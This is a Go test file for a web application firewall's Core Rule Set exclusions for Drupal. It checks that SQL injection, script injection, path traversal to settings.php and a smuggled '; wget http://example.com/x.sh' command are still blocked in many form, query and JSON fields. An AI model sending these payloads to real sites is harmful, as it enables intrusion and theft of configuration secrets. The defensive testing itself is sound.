check / check (push) Successful in 5m51s
Every setting of discriminator and rproxy is read through viper, in place of the os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and AllowEmptyEnv on, so a setting that is set but empty reads as set. A setting may also be given as a file, the _FILE form, which rproxy's settings now have too; rproxy still writes nothing to disk. The settings are renamed. Discriminator's take the prefix SWW_WAF_, rproxy's take SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_. Model: deepseek-v4-pro (first version); opus-5-5 (rework)
483 lines
15 KiB
Go
483 lines
15 KiB
Go
package coreruleset_test
|
|
|
|
import (
|
|
"net/http"
|
|
"net/url"
|
|
"slices"
|
|
"testing"
|
|
)
|
|
|
|
// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
|
const drupalThreshold = 5
|
|
|
|
// drupalAddArticle is Drupal's form for a new article.
|
|
const drupalAddArticle = "/node/add/article"
|
|
|
|
// drupalSignIn is Drupal's sign-in page.
|
|
const drupalSignIn = "/user/login"
|
|
|
|
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
|
const drupalJSONSignIn = "/user/login?_format=json"
|
|
|
|
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
|
|
const drupalJSONPasswordReset = "/user/password?_format=json"
|
|
|
|
// drupalTagForm is Drupal's form for a new tag.
|
|
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
|
|
|
// drupalEditAccount is Drupal's form for editing an account.
|
|
const drupalEditAccount = "/user/2/edit"
|
|
|
|
// drupalName is the field for a person's name, as the start of a form body.
|
|
const drupalName = "name="
|
|
|
|
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
|
}
|
|
|
|
// drupalAttacks are an SQL injection, a path traversal and a script
|
|
// injection, as a query value.
|
|
//
|
|
//nolint:gochecknoglobals // a constant cannot be a list
|
|
var drupalAttacks = []string{
|
|
sqlInjection,
|
|
"..%2F..%2Fsites%2Fdefault%2Fsettings.php",
|
|
scriptInjection,
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, attack := range drupalAttacks {
|
|
for _, target := range []string{
|
|
"/?id=",
|
|
"/admin/content?id=",
|
|
"/admin/content?title=",
|
|
"/admin/content/media?name=",
|
|
"/admin/people?user=",
|
|
"/admin/content/files?filename=",
|
|
"/admin/content/files?filemime=",
|
|
"/admin/content/block?info=",
|
|
"/admin/content/comment?subject=",
|
|
"/admin/content/comment?author_name=",
|
|
"/admin/config/search/path?search=",
|
|
"/admin/content?destination=",
|
|
"/admin/foo?q=",
|
|
"/node/1/edit?destination=",
|
|
"/user/login?destination=",
|
|
"/search/node?keys=",
|
|
"/search?keys=",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=",
|
|
"/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=",
|
|
"/user/password?name=",
|
|
"/media-library?name=",
|
|
"/views/ajax?name=",
|
|
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
|
"/block-category/autocomplete?q=",
|
|
"/media/oembed?url=",
|
|
"/big_pipe/no-js?destination=",
|
|
"/node/2/revisions/3/revert?destination=",
|
|
"/node/2/revisions/3/delete?destination=",
|
|
"/block/add/basic?destination=",
|
|
"/fr/admin/content?title=",
|
|
"/fr/search/node?keys=",
|
|
} {
|
|
if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold {
|
|
t.Errorf("%s%s let through: %+v", target, attack, got)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
const reply = "/comment/reply/node/1/comment"
|
|
|
|
for _, attack := range drupalAttacks {
|
|
for _, sent := range []struct{ target, body string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack},
|
|
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack},
|
|
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
|
{reply, drupalName + attack},
|
|
{drupalSignIn, "pass=" + attack},
|
|
{drupalSignIn, drupalName + attack},
|
|
{"/fr/user/login", drupalName + attack},
|
|
{"/user/register", drupalName + attack},
|
|
{drupalEditAccount, "mail=" + attack},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
|
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack},
|
|
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, attack := range []string{
|
|
injection,
|
|
scriptTag,
|
|
} {
|
|
for _, field := range []string{
|
|
`"title":"` + attack + `"`,
|
|
`"body":{"value":"` + attack + `"}`,
|
|
`"name":"` + attack + `"`,
|
|
`"revision_log":"` + attack + `"`,
|
|
`"info":"` + attack + `"`,
|
|
`"description":{"value":"` + attack + `"}`,
|
|
} {
|
|
r := request{
|
|
http.MethodPost, "/jsonapi/node/article",
|
|
[]string{"Content-Type: application/vnd.api+json"},
|
|
}
|
|
body := `{"data":{"attributes":{` + field + `}}}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
|
body := `{"title":[{"value":"` + attack + `"}]}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body = `{"name":"` + attack + `","pass":"example"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, attack := range []string{
|
|
injection,
|
|
scriptTag,
|
|
`; wget http://example.com/x.sh`,
|
|
`../../sites/default/settings.php`,
|
|
} {
|
|
for _, field := range []string{"name", "mail"} {
|
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
|
body := `{"` + field + `":"` + attack + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
// An address keeps 932250, which refuses ls -la, and 930120, which
|
|
// refuses system file names.
|
|
for _, kept := range []struct {
|
|
value string
|
|
rule int
|
|
}{
|
|
{"ls -la", 932250},
|
|
{".htaccess@example.com", 930120},
|
|
} {
|
|
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
|
body := `{"mail":"` + kept.value + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
|
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
|
}
|
|
}
|
|
}
|
|
|
|
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
|
// on the fields that skip the other command rules, as a query value.
|
|
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
|
|
|
func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, target := range []string{
|
|
"/admin/content?title=",
|
|
"/admin/content/media?name=",
|
|
"/admin/people?user=",
|
|
"/admin/content/files?filename=",
|
|
"/admin/content/files?filemime=",
|
|
"/admin/content/block?info=",
|
|
"/admin/content/comment?subject=",
|
|
"/admin/content/comment?author_name=",
|
|
"/admin/config/search/path?search=",
|
|
"/admin/views/ajax/autocomplete/tag?q=",
|
|
"/search/node?keys=",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=",
|
|
"/user/password?name=",
|
|
"/media-library?name=",
|
|
"/views/ajax?name=",
|
|
"/ckeditor5/basic_html/entity-link-suggestions?q=",
|
|
"/block-category/autocomplete?q=",
|
|
"/media/oembed?url=",
|
|
"/fr/admin/content?title=",
|
|
} {
|
|
got := inspect(t, crs, get(target+drupalCommandAttack))
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("%s let through: %+v", target, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
for _, sent := range []struct{ target, field string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D="},
|
|
{drupalAddArticle, "body%5B0%5D%5Bsummary%5D="},
|
|
{drupalAddArticle, "revision_log%5B0%5D%5Bvalue%5D="},
|
|
{drupalAddArticle, "path%5B0%5D%5Balias%5D="},
|
|
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
|
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
|
{drupalSignIn, drupalName},
|
|
{"/user/register", drupalName},
|
|
{drupalEditAccount, "mail="},
|
|
{"/comment/reply/node/1/comment", drupalName},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
|
{"/taxonomy/term/1/edit", "description%5B0%5D%5Bvalue%5D="},
|
|
{"/block/add/basic", "info%5B0%5D%5Bvalue%5D="},
|
|
{"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D="},
|
|
{"/contact", "subject%5B0%5D%5Bvalue%5D="},
|
|
{"/contact/feedback", "message%5B0%5D%5Bvalue%5D="},
|
|
{"/user/2/contact", "message%5B0%5D%5Bvalue%5D="},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
|
}
|
|
}
|
|
|
|
for _, field := range []string{
|
|
`"title":"; wget http://example.com/x.sh"`,
|
|
`"subject":"; wget http://example.com/x.sh"`,
|
|
`"body":{"summary":"; wget http://example.com/x.sh"}`,
|
|
`"name":"; wget http://example.com/x.sh"`,
|
|
`"revision_log":"; wget http://example.com/x.sh"`,
|
|
`"info":"; wget http://example.com/x.sh"`,
|
|
`"description":{"value":"; wget http://example.com/x.sh"}`,
|
|
} {
|
|
r := request{
|
|
http.MethodPost, "/jsonapi/node/article",
|
|
[]string{"Content-Type: application/vnd.api+json"},
|
|
}
|
|
body := `{"data":{"attributes":{` + field + `}}}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
|
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("PATCH %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body = `{"name":"; wget http://example.com/x.sh","pass":"example"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
|
}
|
|
|
|
// An address keeps 932250, which refuses ls -la.
|
|
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
|
|
|
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
|
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
|
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
|
}
|
|
}
|
|
|
|
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
const subject = "subject%5B0%5D%5Bvalue%5D="
|
|
|
|
for _, value := range hardValues {
|
|
for _, sent := range []struct{ target, field string }{
|
|
{"/comment/reply/node/1/comment", subject},
|
|
{"/comment/reply/node/1/comment/5", subject},
|
|
{"/comment/reply/node/1/field_comments", subject},
|
|
{"/comment/reply/media/1/comment", subject},
|
|
{"/media/add/image", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
|
{"/media/1/edit", "revision_log_message%5B0%5D%5Bvalue%5D="},
|
|
{drupalSignIn, "pass="},
|
|
} {
|
|
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field+value)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
for _, value := range hardValues {
|
|
word, err := url.QueryUnescape(value)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
|
|
r := request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}}
|
|
body := `{"name":"example","pass":"` + word + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
|
|
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
|
body = `{"name":"` + word + `"}`
|
|
|
|
got, _ = inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
|
|
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
|
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
|
body := `{"mail":"` + address + `"}`
|
|
|
|
got, _ := inspectBody(t, crs, r, body)
|
|
if got.Score >= drupalThreshold {
|
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalExclusionsAreNarrow(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := atDefaults(t)
|
|
|
|
for _, passes := range []string{
|
|
"/admin/content?title=python3",
|
|
"/search/node?keys=python3",
|
|
"/entity_reference_autocomplete/user/default/KEY?q=python3",
|
|
"/jsonapi/node/article?filter%5Btitle%5D=python3",
|
|
"/node/1/edit?destination=python3",
|
|
"/fr/admin/content?title=python3",
|
|
"/pt-br/search/node?keys=python3",
|
|
"/user/password?name=python3",
|
|
} {
|
|
if got := inspect(t, crs, get(passes)); got.Score >= drupalThreshold {
|
|
t.Errorf("%s refused: %+v", passes, got)
|
|
}
|
|
}
|
|
|
|
for _, refused := range []string{
|
|
"/?title=python3",
|
|
"/admin/content?other=python3",
|
|
"/?keys=python3",
|
|
"/node/1?keys=python3",
|
|
"/?q=python3",
|
|
"/?filter%5Btitle%5D=python3",
|
|
"/python3-notes?destination=python3",
|
|
"/notes/admin/content?title=python3",
|
|
"/fr/node/1?keys=python3",
|
|
"/?name=python3",
|
|
"/user/login?name=python3",
|
|
"/media/oembed?url=python3",
|
|
"/media/oembed?url=ls%20-la",
|
|
} {
|
|
if got := inspect(t, crs, get(refused)); got.Score < drupalThreshold {
|
|
t.Errorf("%s let through: %+v", refused, got)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|
t.Parallel()
|
|
|
|
crs := readingBodies(t)
|
|
|
|
// The same field name in the query keeps the rules, in the query and
|
|
// in the body.
|
|
for _, sent := range []struct{ path, field string }{
|
|
{drupalAddArticle, "title%5B0%5D%5Bvalue%5D=python3"},
|
|
{drupalAddArticle, "body%5B0%5D%5Bvalue%5D=python3"},
|
|
{drupalSignIn, "pass=python3"},
|
|
{drupalSignIn, "name=python3"},
|
|
{drupalEditAccount, "mail=python3"},
|
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
|
} {
|
|
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
|
|
|
got, _ := inspectBody(t, crs, r, sent.field)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
|
|
// The JSON field name keeps the rules beside json.name in the query, and
|
|
// on a path other than the password reset.
|
|
for _, target := range []string{
|
|
drupalJSONPasswordReset + "&json.name=python3",
|
|
"/user/register?_format=json",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
|
|
// So does the JSON field mail.
|
|
for _, target := range []string{
|
|
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
|
"/user/register?_format=json",
|
|
} {
|
|
r := request{http.MethodPost, target, []string{jsonBody}}
|
|
|
|
got, _ := inspectBody(t, crs, r, `{"mail":"python3@example.com"}`)
|
|
if got.Score < drupalThreshold {
|
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
|
}
|
|
}
|
|
}
|